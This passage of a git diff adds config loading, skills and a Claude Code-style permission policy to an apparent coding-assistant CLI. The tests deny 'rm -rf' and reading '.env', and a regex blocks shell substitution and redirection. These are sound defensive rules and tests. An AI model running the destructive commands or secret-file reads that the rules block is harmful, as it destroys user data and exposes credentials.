expect(check("Edit", { path: "README.md" })).toBeNull();
|
||||||
|
expect(check("Read", { path: ".env" })?.decision).toBe("deny");
|
||||||
|
expect(check("Read", { path: "src/a.ts" })?.decision).toBe("allow");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("aucune règle → null", () => {
|
||||||
|
expect(createPermissionPolicy({ allow: [], ask: [], deny: [] })).toBeNull();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("initialize (lot 2)", () => {
|
||||||
|
it("charge settings, commandes et skills depuis .claude", async () => {
|
||||||
|
const root = await mkdtemp(join(tmpdir(), "magiccode-lot2-"));
|
||||||
|
const home = join(root, "home");
|
||||||
|
const project = join(home, "project");
|
||||||
|
const claude = join(project, ".claude");
|
||||||
|
await mkdir(join(claude, "commands", "git"), { recursive: true });
|
||||||
|
await mkdir(join(claude, "skills", "pdf"), { recursive: true });
|
||||||
|
await writeFile(
|
||||||
|
join(claude, "settings.json"),
|
||||||
|
JSON.stringify({ permissions: { deny: ["Bash(rm:*)"] }, env: { MA_VAR: "1" } }),
|
||||||
|
);
|
||||||
|
await writeFile(
|
||||||
|
join(claude, "commands", "review.md"),
|
||||||
|
"---\ndescription: Revue\nargument-hint: [fichier]\n---\nRevois $ARGUMENTS\n",
|
||||||
|
);
|
||||||
|
await writeFile(join(claude, "commands", "git", "commit.md"), "# Commit\nFais un commit.\n");
|
||||||
|
await writeFile(join(claude, "commands", "help.md"), "réservé");
|
||||||
|
await writeFile(
|
||||||
|
join(claude, "skills", "pdf", "SKILL.md"),
|
||||||
|
"---\nname: pdf\ndescription: Manipuler des PDF\n---\nUtilise pypdf.\n",
|
||||||
|
);
|
||||||
|
|
||||||
|
const logs: string[] = [];
|
||||||
|
const warns: string[] = [];
|
||||||
|
const init = await claudeCodeMode.initialize({
|
||||||
|
cwd: project,
|
||||||
|
homeDir: home,
|
||||||
|
log: (m) => logs.push(m),
|
||||||
|
warn: (m) => warns.push(m),
|
||||||
|
});
|
||||||
|
|
||||||
|
// commandes
|
||||||
|
expect(init.commands?.map((c) => c.name).sort()).toEqual(["git:commit", "review"]);
|
||||||
|
const review = init.commands?.find((c) => c.name === "review");
|
||||||
|
expect(review?.description).toBe("Revue");
|
||||||
|
expect(review?.argumentHint).toBe("[fichier]");
|
||||||
|
expect(review?.prompt("a.ts")).toContain("Revois a.ts");
|
||||||
|
expect(warns.some((w) => w.includes("/help"))).toBe(true); // nom réservé
|
||||||
|
|
||||||
|
// skills
|
||||||
|
expect(init.systemPrompt).toContain("pdf : Manipuler des PDF");
|
||||||
|
const skillTool = init.tools.find((t) => t.spec.name === "Skill");
|
||||||
|
expect(skillTool).toBeDefined();
|
||||||
|
expect(await skillTool!.execute({ skill: "pdf" }, { cwd: project })).toContain("Utilise pypdf.");
|
||||||
|
|
||||||
|
// appel direct "§pdf [arguments]"
|
||||||
|
const direct = init.skills?.find((k) => k.name === "pdf");
|
||||||
|
expect(direct?.description).toBe("Manipuler des PDF");
|
||||||
|
const prompt = await direct!.invoke("sur a.pdf");
|
||||||
|
expect(prompt).toContain('lance explicitement le skill "pdf"');
|
||||||
|
expect(prompt).toContain("Utilise pypdf.");
|
||||||
|
expect(prompt).toContain("ARGUMENTS: sur a.pdf");
|
||||||
|
|
||||||
|
// permissions et env
|
||||||
|
expect(init.permissions?.check("Bash", { command: "rm -rf x" }, { cwd: project })?.decision).toBe("deny");
|
||||||
|
expect(init.env).toEqual({ MA_VAR: "1" });
|
||||||
|
|
||||||
|
// rapport
|
||||||
|
const report = logs.join("\n");
|
||||||
|
expect(report).toContain("Chargé depuis .claude");
|
||||||
|
expect(report).toContain("/review");
|
||||||
|
expect(report).toContain("skills : pdf");
|
||||||
|
});
|
||||||
|
});
|
||||||
92
packages/ext-claudecode/src/memory.ts
Normal file
92
packages/ext-claudecode/src/memory.ts
Normal file
|
|
@ -0,0 +1,92 @@
|
||||||
|
import { readFile, readdir, stat } from "node:fs/promises";
|
||||||
|
import { dirname, join, resolve } from "node:path";
|
||||||
|
|
||||||
|
export interface MemoryFile {
|
||||||
|
path: string;
|
||||||
|
content: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ClaudeDir {
|
||||||
|
path: string;
|
||||||
|
/** Éléments reconnus et exploités, ex. "settings.json", "commands/", "skills/". */
|
||||||
|
entries: string[];
|
||||||
|
/** Autres éléments présents mais NON exploités (ex. "agents/", "rules/", ou un lien symbolique). */
|
||||||
|
unsupported: string[];
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ClaudeConfig {
|
||||||
|
/** CLAUDE.md chargés, du plus général au plus spécifique. */
|
||||||
|
memoryFiles: MemoryFile[];
|
||||||
|
/** Dossiers .claude trouvés (global, puis de la racine jusqu'au dossier courant). */
|
||||||
|
claudeDirs: ClaudeDir[];
|
||||||
|
}
|
||||||
|
|
||||||
|
const KNOWN_FILES = ["settings.json", "settings.local.json", "CLAUDE.md"];
|
||||||
|
const KNOWN_DIRS = ["commands", "skills"];
|
||||||
|
const IGNORED_NAMES = new Set([".DS_Store", "Thumbs.db"]);
|
||||||
|
|
||||||
|
async function tryRead(path: string): Promise<MemoryFile | null> {
|
||||||
|
try {
|
||||||
|
return { path, content: await readFile(path, "utf8") };
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function inspectClaudeDir(path: string): Promise<ClaudeDir | null> {
|
||||||
|
try {
|
||||||
|
if (!(await stat(path)).isDirectory()) return null;
|
||||||
|
const dirents = await readdir(path, { withFileTypes: true });
|
||||||
|
const files = dirents.filter((d) => d.isFile() && KNOWN_FILES.includes(d.name)).map((d) => d.name);
|
||||||
|
const dirs = dirents.filter((d) => d.isDirectory() && KNOWN_DIRS.includes(d.name)).map((d) => d.name);
|
||||||
|
const known = new Set([...files, ...dirs]);
|
||||||
|
const unsupported = dirents
|
||||||
|
.filter((d) => !known.has(d.name) && !IGNORED_NAMES.has(d.name))
|
||||||
|
.map((d) => (d.isDirectory() ? `${d.name}/` : d.name));
|
||||||
|
return { path, entries: [...files, ...dirs.map((n) => `${n}/`)], unsupported };
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Dossiers de la racine jusqu'à cwd (le plus spécifique en dernier). */
|
||||||
|
function directoryChain(cwd: string): string[] {
|
||||||
|
const chain: string[] = [];
|
||||||
|
let dir = resolve(cwd);
|
||||||
|
for (;;) {
|
||||||
|
chain.unshift(dir);
|
||||||
|
const parent = dirname(dir);
|
||||||
|
if (parent === dir) break;
|
||||||
|
dir = parent;
|
||||||
|
}
|
||||||
|
return chain;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Découvre la configuration ClaudeCode :
|
||||||
|
* - CLAUDE.md : global (~/.claude/CLAUDE.md), puis, pour chaque dossier de la racine
|
||||||
|
* à cwd, <dossier>/CLAUDE.md et <dossier>/.claude/CLAUDE.md ;
|
||||||
|
* - dossiers .claude : global (~/.claude), puis <dossier>/.claude pour chaque dossier de la chaîne.
|
||||||
|
*/
|
||||||
|
export async function loadClaudeConfig(cwd: string, homeDir: string): Promise<ClaudeConfig> {
|
||||||
|
const chain = directoryChain(cwd);
|
||||||
|
|
||||||
|
const memoryCandidates = [
|
||||||
|
join(homeDir, ".claude", "CLAUDE.md"),
|
||||||
|
...chain.flatMap((d) => [join(d, "CLAUDE.md"), join(d, ".claude", "CLAUDE.md")]),
|
||||||
|
];
|
||||||
|
const memoryFiles: MemoryFile[] = [];
|
||||||
|
for (const path of new Set(memoryCandidates)) {
|
||||||
|
const file = await tryRead(path);
|
||||||
|
if (file) memoryFiles.push(file);
|
||||||
|
}
|
||||||
|
|
||||||
|
const dirCandidates = [join(homeDir, ".claude"), ...chain.map((d) => join(d, ".claude"))];
|
||||||
|
const claudeDirs: ClaudeDir[] = [];
|
||||||
|
for (const path of new Set(dirCandidates)) {
|
||||||
|
const dir = await inspectClaudeDir(path);
|
||||||
|
if (dir) claudeDirs.push(dir);
|
||||||
|
}
|
||||||
|
|
||||||
|
return { memoryFiles, claudeDirs };
|
||||||
|
}
|
||||||
64
packages/ext-claudecode/src/mode.test.ts
Normal file
64
packages/ext-claudecode/src/mode.test.ts
Normal file
|
|
@ -0,0 +1,64 @@
|
||||||
|
import { mkdir, mkdtemp, writeFile } from "node:fs/promises";
|
||||||
|
import { tmpdir } from "node:os";
|
||||||
|
import { join } from "node:path";
|
||||||
|
import { describe, expect, it } from "vitest";
|
||||||
|
import { claudeCodeMode } from "./mode";
|
||||||
|
|
||||||
|
async function setup() {
|
||||||
|
const root = await mkdtemp(join(tmpdir(), "magiccode-cc-"));
|
||||||
|
const home = join(root, "home");
|
||||||
|
const project = join(home, "project");
|
||||||
|
await mkdir(project, { recursive: true });
|
||||||
|
const logs: string[] = [];
|
||||||
|
const warns: string[] = [];
|
||||||
|
const ctx = {
|
||||||
|
cwd: project,
|
||||||
|
homeDir: home,
|
||||||
|
log: (m: string) => logs.push(m),
|
||||||
|
warn: (m: string) => warns.push(m),
|
||||||
|
};
|
||||||
|
return { home, project, logs, warns, ctx };
|
||||||
|
}
|
||||||
|
|
||||||
|
describe("ClaudeCode initialize", () => {
|
||||||
|
it("liste les CLAUDE.md et dossiers .claude trouvés", async () => {
|
||||||
|
const { home, project, logs, warns, ctx } = await setup();
|
||||||
|
await mkdir(join(home, ".claude"), { recursive: true });
|
||||||
|
await writeFile(join(home, ".claude", "CLAUDE.md"), "global");
|
||||||
|
await mkdir(join(project, ".claude", "commands"), { recursive: true });
|
||||||
|
await writeFile(join(project, ".claude", "settings.json"), "{}");
|
||||||
|
await writeFile(join(project, "CLAUDE.md"), "projet");
|
||||||
|
|
||||||
|
const init = await claudeCodeMode.initialize(ctx);
|
||||||
|
|
||||||
|
expect(warns).toHaveLength(0);
|
||||||
|
const report = logs.join("\n");
|
||||||
|
expect(report).toContain("~/.claude/CLAUDE.md");
|
||||||
|
expect(report).toContain("./CLAUDE.md");
|
||||||
|
expect(report).toContain("./.claude (settings.json, commands/)");
|
||||||
|
expect(init.systemPrompt).toContain("projet");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("avertit quand aucune configuration n'est trouvée", async () => {
|
||||||
|
const { logs, warns, ctx } = await setup();
|
||||||
|
|
||||||
|
await claudeCodeMode.initialize(ctx);
|
||||||
|
|
||||||
|
expect(logs).toHaveLength(0);
|
||||||
|
expect(warns[0]).toContain("Aucune configuration ClaudeCode");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("signale les éléments .claude présents mais non exploités, y compris dans un dossier parent", async () => {
|
||||||
|
const { home, project, logs, ctx } = await setup();
|
||||||
|
const parentClaude = join(home, ".claude"); // dossier parent du projet
|
||||||
|
await mkdir(join(parentClaude, "agents"), { recursive: true });
|
||||||
|
await mkdir(join(parentClaude, "rules"), { recursive: true });
|
||||||
|
await writeFile(join(parentClaude, "settings.json"), "{}");
|
||||||
|
await writeFile(join(project, "CLAUDE.md"), "projet");
|
||||||
|
|
||||||
|
await claudeCodeMode.initialize(ctx);
|
||||||
|
|
||||||
|
const report = logs.join("\n");
|
||||||
|
expect(report).toContain("~/.claude (settings.json ; non exploité : agents/, rules/)");
|
||||||
|
});
|
||||||
|
});
|
||||||
74
packages/ext-claudecode/src/mode.ts
Normal file
74
packages/ext-claudecode/src/mode.ts
Normal file
|
|
@ -0,0 +1,74 @@
|
||||||
|
import type { AgentMode } from "@magiccode/core";
|
||||||
|
import { loadCommands } from "./commands";
|
||||||
|
import { loadClaudeConfig } from "./memory";
|
||||||
|
import { createPermissionPolicy } from "./permissions";
|
||||||
|
import { formatConfigReport } from "./report";
|
||||||
|
import { loadSettings } from "./settings";
|
||||||
|
import { createSkillTool, loadSkills, skillsPromptSection, toAgentSkills } from "./skills";
|
||||||
|
import { claudeCodeTools } from "./tools";
|
||||||
|
|
||||||
|
function buildSystemPrompt(
|
||||||
|
cwd: string,
|
||||||
|
memory: { path: string; content: string }[],
|
||||||
|
skillsSection: string,
|
||||||
|
): string {
|
||||||
|
const parts = [
|
||||||
|
"Tu es MagicCode, un assistant de programmation en ligne de commande.",
|
||||||
|
"Tu aides l'utilisateur à lire, comprendre et modifier le code de son projet en utilisant tes outils.",
|
||||||
|
"Réponds dans la langue de l'utilisateur, de façon concise.",
|
||||||
|
"Lis un fichier avant de le modifier. Ne fais que les modifications demandées.",
|
||||||
|
"Pour chercher des fichiers ou du contenu, préfère les outils Glob et Grep à Bash.",
|
||||||
|
`Dossier de travail : ${cwd} (dossier de lancement de MagicCode). Les chemins relatifs, y compris pour créer un fichier, sont résolus depuis ce dossier ; n'utilise un chemin complet que s'il t'est fourni.`,
|
||||||
|
];
|
||||||
|
for (const file of memory) {
|
||||||
|
parts.push(`\n# Instructions (${file.path})\n${file.content.trim()}`);
|
||||||
|
}
|
||||||
|
if (skillsSection) parts.push(skillsSection);
|
||||||
|
return parts.join("\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
export const claudeCodeMode: AgentMode = {
|
||||||
|
id: "claudecode",
|
||||||
|
name: "ClaudeCode",
|
||||||
|
description: "Fonctionne comme Claude Code (CLAUDE.md, dossier .claude, outils de base)",
|
||||||
|
async initialize(ctx) {
|
||||||
|
const config = await loadClaudeConfig(ctx.cwd, ctx.homeDir);
|
||||||
|
|
||||||
|
// Lot 2 : exploitation des dossiers .claude (global, puis de la racine au dossier courant)
|
||||||
|
const dirs = config.claudeDirs.map((d) => d.path);
|
||||||
|
const [{ settings, warnings: w1 }, { commands, warnings: w2 }, { skills, warnings: w3 }] =
|
||||||
|
await Promise.all([loadSettings(dirs), loadCommands(dirs), loadSkills(dirs)]);
|
||||||
|
for (const w of [...w1, ...w2, ...w3]) ctx.warn(w);
|
||||||
|
|
||||||
|
// Information de l'utilisateur sur ce qui a été trouvé et chargé (ou non)
|
||||||
|
const report = formatConfigReport(config, ctx.cwd, ctx.homeDir, {
|
||||||
|
settingsFiles: settings.files,
|
||||||
|
rules: {
|
||||||
|
allow: settings.permissions.allow.length,
|
||||||
|
deny: settings.permissions.deny.length,
|
||||||
|
ask: settings.permissions.ask.length,
|
||||||
|
},
|
||||||
|
envCount: Object.keys(settings.env).length,
|
||||||
|
commands: commands.map((c) => c.name),
|
||||||
|
skills: skills.map((s) => s.name),
|
||||||
|
});
|
||||||
|
if (report) {
|
||||||
|
ctx.log(report);
|
||||||
|
} else {
|
||||||
|
ctx.warn(
|
||||||
|
"Aucune configuration ClaudeCode n'a été trouvée (ni CLAUDE.md, ni dossier .claude) dans ~/.claude ni dans " +
|
||||||
|
`les dossiers de la racine jusqu'à ${ctx.cwd}. MagicCode démarre avec ses instructions par défaut.`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// TODO lot 3 : agents/ (sous-agents), hooks, serveurs MCP ; commandes : allowed-tools, model, @fichier, !`commande`.
|
||||||
|
return {
|
||||||
|
systemPrompt: buildSystemPrompt(ctx.cwd, config.memoryFiles, skillsPromptSection(skills)),
|
||||||
|
tools: skills.length > 0 ? [...claudeCodeTools, createSkillTool(skills)] : claudeCodeTools,
|
||||||
|
commands,
|
||||||
|
skills: toAgentSkills(skills),
|
||||||
|
permissions: createPermissionPolicy(settings.permissions) ?? undefined,
|
||||||
|
env: Object.keys(settings.env).length > 0 ? settings.env : undefined,
|
||||||
|
};
|
||||||
|
},
|
||||||
|
};
|
||||||
116
packages/ext-claudecode/src/permissions.ts
Normal file
116
packages/ext-claudecode/src/permissions.ts
Normal file
|
|
@ -0,0 +1,116 @@
|
||||||
|
import { isAbsolute, relative, resolve, sep } from "node:path";
|
||||||
|
import picomatch from "picomatch";
|
||||||
|
import type { PermissionPolicy } from "@magiccode/core";
|
||||||
|
import type { PermissionRules } from "./settings";
|
||||||
|
|
||||||
|
interface Rule {
|
||||||
|
tool: string;
|
||||||
|
spec?: string;
|
||||||
|
raw: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
const RULE_RE = /^([A-Za-z0-9_.-]+)(?:\((.*)\))?$/s;
|
||||||
|
const PATH_TOOLS = new Set(["Read", "Write", "Edit", "Glob", "Grep"]);
|
||||||
|
/** Substitutions de commandes, redirections : une règle allow ne peut pas les couvrir de façon sûre. */
|
||||||
|
const UNSAFE_SHELL = /\$\(|`|<\(|>/;
|
||||||
|
|
||||||
|
function parseRules(raws: string[]): Rule[] {
|
||||||
|
const rules: Rule[] = [];
|
||||||
|
for (const raw of raws) {
|
||||||
|
const m = RULE_RE.exec(raw.trim());
|
||||||
|
if (!m) continue;
|
||||||
|
const spec = m[2]?.trim();
|
||||||
|
rules.push({ tool: m[1]!, spec: spec || undefined, raw });
|
||||||
|
}
|
||||||
|
return rules;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ----- Bash : la spécification est un préfixe ("npm run test:*"), un motif ("git * --help") ou une commande exacte
|
||||||
|
|
||||||
|
function splitCommands(cmd: string): string[] {
|
||||||
|
return cmd
|
||||||
|
.split(/&&|\|\||;|\||\n/)
|
||||||
|
.map((s) => s.trim())
|
||||||
|
.filter(Boolean);
|
||||||
|
}
|
||||||
|
|
||||||
|
function matchBashSpec(spec: string, sub: string): boolean {
|
||||||
|
if (spec.endsWith(":*")) return sub.startsWith(spec.slice(0, -2));
|
||||||
|
if (spec.includes("*")) {
|
||||||
|
const source = spec
|
||||||
|
.split("*")
|
||||||
|
.map((part) => part.replace(/[.+?^${}()|[\]\\]/g, "\\$&"))
|
||||||
|
.join(".*");
|
||||||
|
return new RegExp(`^${source}$`).test(sub);
|
||||||
|
}
|
||||||
|
return sub === spec;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ----- Read / Write / Edit / Glob / Grep : la spécification est un motif de chemin relatif au dossier courant
|
||||||
|
|
||||||
|
function targetPath(input: Record<string, unknown>, cwd: string): string {
|
||||||
|
const raw = typeof input.path === "string" && input.path ? input.path : ".";
|
||||||
|
const abs = resolve(cwd, raw);
|
||||||
|
const rel = relative(cwd, abs);
|
||||||
|
const out = rel === "" ? "." : rel.startsWith("..") || isAbsolute(rel) ? abs : rel;
|
||||||
|
return out.split(sep).join("/");
|
||||||
|
}
|
||||||
|
|
||||||
|
function matchPathSpec(spec: string, target: string): boolean {
|
||||||
|
const s = spec.replace(/^\.\//, "").replace(/\/+$/, "");
|
||||||
|
return picomatch([s, `${s}/**`], { dot: true })(target);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ----- Évaluation
|
||||||
|
|
||||||
|
/** Pour deny/ask : la règle s'applique si une partie de la commande (Bash) ou le chemin correspond. */
|
||||||
|
function ruleApplies(rule: Rule, tool: string, input: Record<string, unknown>, cwd: string): boolean {
|
||||||
|
if (rule.tool !== tool) return false;
|
||||||
|
if (!rule.spec) return true;
|
||||||
|
if (tool === "Bash") {
|
||||||
|
const cmd = typeof input.command === "string" ? input.command : "";
|
||||||
|
return splitCommands(cmd).some((sub) => matchBashSpec(rule.spec!, sub));
|
||||||
|
}
|
||||||
|
if (PATH_TOOLS.has(tool)) return matchPathSpec(rule.spec, targetPath(input, cwd));
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Pour allow : TOUTES les parties d'une commande Bash doivent être couvertes (et sans redirection ni substitution). */
|
||||||
|
function allowApplies(rules: Rule[], tool: string, input: Record<string, unknown>, cwd: string): boolean {
|
||||||
|
const mine = rules.filter((r) => r.tool === tool);
|
||||||
|
if (mine.length === 0) return false;
|
||||||
|
if (mine.some((r) => !r.spec)) return true; // ex. "Edit" : tous les usages de l'outil
|
||||||
|
if (tool === "Bash") {
|
||||||
|
const cmd = typeof input.command === "string" ? input.command : "";
|
||||||
|
if (UNSAFE_SHELL.test(cmd)) return false;
|
||||||
|
const subs = splitCommands(cmd);
|
||||||
|
return subs.length > 0 && subs.every((sub) => mine.some((r) => matchBashSpec(r.spec!, sub)));
|
||||||
|
}
|
||||||
|
if (PATH_TOOLS.has(tool)) {
|
||||||
|
const target = targetPath(input, cwd);
|
||||||
|
return mine.some((r) => matchPathSpec(r.spec!, target));
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Règles au format Claude Code : "Bash(npm run test:*)", "Edit(src/**)", "Read(./.env)", "Write".
|
||||||
|
* Priorité : deny > ask > allow ; sans règle applicable → null (permission par défaut de l'outil).
|
||||||
|
*/
|
||||||
|
export function createPermissionPolicy(rules: PermissionRules): PermissionPolicy | null {
|
||||||
|
const deny = parseRules(rules.deny);
|
||||||
|
const ask = parseRules(rules.ask);
|
||||||
|
const allow = parseRules(rules.allow);
|
||||||
|
if (deny.length + ask.length + allow.length === 0) return null;
|
||||||
|
|
||||||
|
return {
|
||||||
|
check(tool, input, { cwd }) {
|
||||||
|
const d = deny.find((r) => ruleApplies(r, tool, input, cwd));
|
||||||
|
if (d) return { decision: "deny", reason: `règle deny ${d.raw}` };
|
||||||
|
const a = ask.find((r) => ruleApplies(r, tool, input, cwd));
|
||||||
|
if (a) return { decision: "ask", reason: `règle ask ${a.raw}` };
|
||||||
|
if (allowApplies(allow, tool, input, cwd)) return { decision: "allow" };
|
||||||
|
return null;
|
||||||
|
},
|
||||||
|
};
|
||||||
|
}
|
||||||
67
packages/ext-claudecode/src/report.ts
Normal file
67
packages/ext-claudecode/src/report.ts
Normal file
|
|
@ -0,0 +1,67 @@
|
||||||
|
import { relative, resolve, sep } from "node:path";
|
||||||
|
import type { ClaudeConfig } from "./memory";
|
||||||
|
|
||||||
|
/** Ce qui a été réellement exploité depuis les dossiers .claude. */
|
||||||
|
export interface LoadedSummary {
|
||||||
|
settingsFiles: string[];
|
||||||
|
rules: { allow: number; deny: number; ask: number };
|
||||||
|
envCount: number;
|
||||||
|
commands: string[];
|
||||||
|
skills: string[];
|
||||||
|
}
|
||||||
|
|
||||||
|
/** ~/… pour le dossier personnel, ./… pour ce qui est sous le dossier courant. */
|
||||||
|
function displayPath(path: string, cwd: string, homeDir: string): string {
|
||||||
|
const abs = resolve(path);
|
||||||
|
const rel = relative(resolve(cwd), abs);
|
||||||
|
if (rel === "") return ".";
|
||||||
|
if (!rel.startsWith("..")) return `.${sep}${rel}`;
|
||||||
|
const fromHome = relative(resolve(homeDir), abs);
|
||||||
|
if (!fromHome.startsWith("..") && fromHome !== "") return `~${sep}${fromHome}`;
|
||||||
|
return abs;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Texte affiché à l'initialisation, ou null si aucune configuration ClaudeCode n'a été trouvée. */
|
||||||
|
export function formatConfigReport(
|
||||||
|
config: ClaudeConfig,
|
||||||
|
cwd: string,
|
||||||
|
homeDir: string,
|
||||||
|
loaded?: LoadedSummary,
|
||||||
|
): string | null {
|
||||||
|
const { memoryFiles, claudeDirs } = config;
|
||||||
|
if (memoryFiles.length === 0 && claudeDirs.length === 0) return null;
|
||||||
|
|
||||||
|
const lines = [
|
||||||
|
"Configuration ClaudeCode trouvée (recherche : ~/.claude, puis chaque dossier de la racine jusqu'au dossier de travail) :",
|
||||||
|
];
|
||||||
|
lines.push(" Fichiers de contexte (CLAUDE.md) :");
|
||||||
|
if (memoryFiles.length === 0) lines.push(" (aucun)");
|
||||||
|
for (const f of memoryFiles) lines.push(` • ${displayPath(f.path, cwd, homeDir)}`);
|
||||||
|
|
||||||
|
lines.push(" Dossiers .claude :");
|
||||||
|
if (claudeDirs.length === 0) lines.push(" (aucun)");
|
||||||
|
for (const d of claudeDirs) {
|
||||||
|
const used = d.entries.length > 0 ? d.entries.join(", ") : "aucun élément exploité";
|
||||||
|
const skipped = d.unsupported.length > 0 ? ` ; non exploité : ${d.unsupported.join(", ")}` : "";
|
||||||
|
lines.push(` • ${displayPath(d.path, cwd, homeDir)} (${used}${skipped})`);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (loaded) {
|
||||||
|
const items: string[] = [];
|
||||||
|
if (loaded.settingsFiles.length > 0) {
|
||||||
|
const { allow, deny, ask } = loaded.rules;
|
||||||
|
const files = loaded.settingsFiles.map((f) => displayPath(f, cwd, homeDir)).join(", ");
|
||||||
|
const env = loaded.envCount > 0 ? `, ${loaded.envCount} variable(s) d'environnement` : "";
|
||||||
|
items.push(`settings : ${files} (règles : ${allow} allow, ${ask} ask, ${deny} deny${env})`);
|
||||||
|
}
|
||||||
|
if (loaded.commands.length > 0) {
|
||||||
|
items.push(`commandes : ${loaded.commands.map((c) => `/${c}`).join(", ")}`);
|
||||||
|
}
|
||||||
|
if (loaded.skills.length > 0) items.push(`skills : ${loaded.skills.join(", ")}`);
|
||||||
|
if (items.length > 0) {
|
||||||
|
lines.push(" Chargé depuis .claude :");
|
||||||
|
for (const item of items) lines.push(` • ${item}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return lines.join("\n");
|
||||||
|
}
|
||||||
71
packages/ext-claudecode/src/settings.ts
Normal file
71
packages/ext-claudecode/src/settings.ts
Normal file
|
|
@ -0,0 +1,71 @@
|
||||||
|
import { readFile } from "node:fs/promises";
|
||||||
|
import { join } from "node:path";
|
||||||
|
|
||||||
|
export interface PermissionRules {
|
||||||
|
allow: string[];
|
||||||
|
deny: string[];
|
||||||
|
ask: string[];
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ClaudeSettings {
|
||||||
|
permissions: PermissionRules;
|
||||||
|
env: Record<string, string>;
|
||||||
|
/** Fichiers settings réellement lus. */
|
||||||
|
files: string[];
|
||||||
|
}
|
||||||
|
|
||||||
|
const SETTINGS_FILES = ["settings.json", "settings.local.json"];
|
||||||
|
|
||||||
|
function strings(v: unknown): string[] {
|
||||||
|
return Array.isArray(v) ? v.filter((x): x is string => typeof x === "string") : [];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Fusionne les settings des dossiers .claude, du plus général au plus spécifique
|
||||||
|
* (settings.json puis settings.local.json dans chaque dossier). Les listes de règles
|
||||||
|
* s'additionnent ; pour `env`, la dernière valeur l'emporte.
|
||||||
|
*/
|
||||||
|
export async function loadSettings(
|
||||||
|
claudeDirs: string[],
|
||||||
|
): Promise<{ settings: ClaudeSettings; warnings: string[] }> {
|
||||||
|
const settings: ClaudeSettings = {
|
||||||
|
permissions: { allow: [], deny: [], ask: [] },
|
||||||
|
env: {},
|
||||||
|
files: [],
|
||||||
|
};
|
||||||
|
const warnings: string[] = [];
|
||||||
|
|
||||||
|
for (const dir of claudeDirs) {
|
||||||
|
for (const name of SETTINGS_FILES) {
|
||||||
|
const path = join(dir, name);
|
||||||
|
let raw: string;
|
||||||
|
try {
|
||||||
|
raw = await readFile(path, "utf8");
|
||||||
|
} catch {
|
||||||
|
continue; // absent : normal
|
||||||
|
}
|
||||||
|
let json: { permissions?: Record<string, unknown>; env?: Record<string, unknown> };
|
||||||
|
try {
|
||||||
|
json = JSON.parse(raw);
|
||||||
|
} catch (err) {
|
||||||
|
warnings.push(`${path} ignoré : JSON invalide (${(err as Error).message})`);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
settings.files.push(path);
|
||||||
|
|
||||||
|
for (const key of ["allow", "deny", "ask"] as const) {
|
||||||
|
settings.permissions[key].push(...strings(json.permissions?.[key]));
|
||||||
|
}
|
||||||
|
for (const [k, v] of Object.entries(json.env ?? {})) {
|
||||||
|
if (typeof v === "string" || typeof v === "number" || typeof v === "boolean") {
|
||||||
|
settings.env[k] = String(v);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const key of ["allow", "deny", "ask"] as const) {
|
||||||
|
settings.permissions[key] = [...new Set(settings.permissions[key])];
|
||||||
|
}
|
||||||
|
return { settings, warnings };
|
||||||
|
}
|
||||||
119
packages/ext-claudecode/src/skills.ts
Normal file
119
packages/ext-claudecode/src/skills.ts
Normal file
|
|
@ -0,0 +1,119 @@
|
||||||
|
import { readFile, readdir } from "node:fs/promises";
|
||||||
|
import { join } from "node:path";
|
||||||
|
import type { AgentSkill, Tool } from "@magiccode/core";
|
||||||
|
import { renderCommand } from "./commands";
|
||||||
|
import { parseFrontmatter } from "./frontmatter";
|
||||||
|
|
||||||
|
export interface Skill {
|
||||||
|
name: string;
|
||||||
|
description: string;
|
||||||
|
/** Dossier du skill (les fichiers qu'il référence sont relatifs à ce dossier). */
|
||||||
|
dir: string;
|
||||||
|
/** Contenu de SKILL.md sans l'en-tête. */
|
||||||
|
body: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Charge .claude/skills/<nom>/SKILL.md de chaque dossier .claude (du plus général au plus
|
||||||
|
* spécifique : un skill du projet remplace celui du même nom au niveau utilisateur).
|
||||||
|
* Seuls le nom et la description sont mis en avant ; le contenu est chargé à la demande (outil Skill).
|
||||||
|
*/
|
||||||
|
export async function loadSkills(
|
||||||
|
claudeDirs: string[],
|
||||||
|
): Promise<{ skills: Skill[]; warnings: string[] }> {
|
||||||
|
const byName = new Map<string, Skill>();
|
||||||
|
const warnings: string[] = [];
|
||||||
|
|
||||||
|
for (const dir of claudeDirs) {
|
||||||
|
const root = join(dir, "skills");
|
||||||
|
let entries;
|
||||||
|
try {
|
||||||
|
entries = await readdir(root, { withFileTypes: true });
|
||||||
|
} catch {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
entries.sort((a, b) => (a.name < b.name ? -1 : a.name > b.name ? 1 : 0));
|
||||||
|
|
||||||
|
for (const e of entries) {
|
||||||
|
if (!e.isDirectory()) continue;
|
||||||
|
const skillDir = join(root, e.name);
|
||||||
|
let raw: string;
|
||||||
|
try {
|
||||||
|
raw = await readFile(join(skillDir, "SKILL.md"), "utf8");
|
||||||
|
} catch {
|
||||||
|
continue; // dossier sans SKILL.md : pas un skill
|
||||||
